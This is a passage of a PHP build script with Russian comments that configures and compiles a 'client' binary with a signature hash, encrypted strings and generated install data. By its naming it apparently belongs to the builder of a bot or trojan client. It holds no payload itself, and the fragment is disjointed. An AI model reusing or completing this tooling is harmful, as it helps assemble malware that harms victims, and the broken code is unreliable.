function clearTemp($directory = TEMP_DIR) { $files = \Nette\Utils\Finder::find('*')->exclude('.*')->in($directory); foreach ($files as $path => $file) { if ($file->isDir()) { clearTemp($path); @rmdir($path); } else { @unlink($path); } } @rmdir($directory); }
die(1); } /////////////////////////////////////////////////////////////////////////////////////////////////// // Вывод заголовка сборки. /////////////////////////////////////////////////////////////////////////////////////////////////// define('BO_SIGNATURE', $_SERVER['argv'][3]); writeLn("-> Configuration: " . basename($configDir) . "\n" . "-> Debug: " . $config['debug'] . "\n" . "-> Version: " . BO_CLIENT_VERSION . "\n" . "-> Signature: " . BO_SIGNATURE); if (getenv('BO_SLIENT') === FALSE) { waitAnyKey(); } /////////////////////////////////////////////////////////////////////////////////////////////////// // Начало сборки. /////////////////////////////////////////////////////////////////////////////////////////////////// require_once $dir['source']['common'] . '\\defines.php'; writeStep('CLEARING'); clearTemp(1); writeStep('PREPARING'); writeFile($dir['output'][0] . '\\config', basename($configDir)); writeFile($dir['source']['common'] . '\\config.h', generateDefaultConfigHeader("#define BO_SIGNATURE \"" . BO_SIGNATURE . "\"\r\n" . "#define BO_SIGNATURE_HASH \"" . sprintf("0x%08X", crc32(BO_SIGNATURE)) . "\"\r\n" . "\r\n//List of common defines from defines.php\r\n" . generateXDefines($_COMMON_DEFINE, 'c'))); if (configBool('buildtools_platforms')) { writeStep("BUILDING BUILDTOOLS"); buildBinary('buildtools', 1, true, false); copyFile($dir['output']['buildtools'] . '\\' . $commandLineOptions['buildtools']['win64']['name'], $dir['bin'] . '\\' . $commandLineOptions['buildtools']['win64']['name']); } if (configBool('client_platforms')) { writeStep("BUILDING CLIENT"); writeFile($dir['source']['common'] . '\\generateddata.h', headerOfHfile() . generateBaseConfigHeader() . "\r\n" . generateInstallData()); generateCryptedStrings($dir['source']['client'] . '\\cryptedstrings'); //Сборка. buildBinary('client', 0, true, true); //Создание данных для билдера.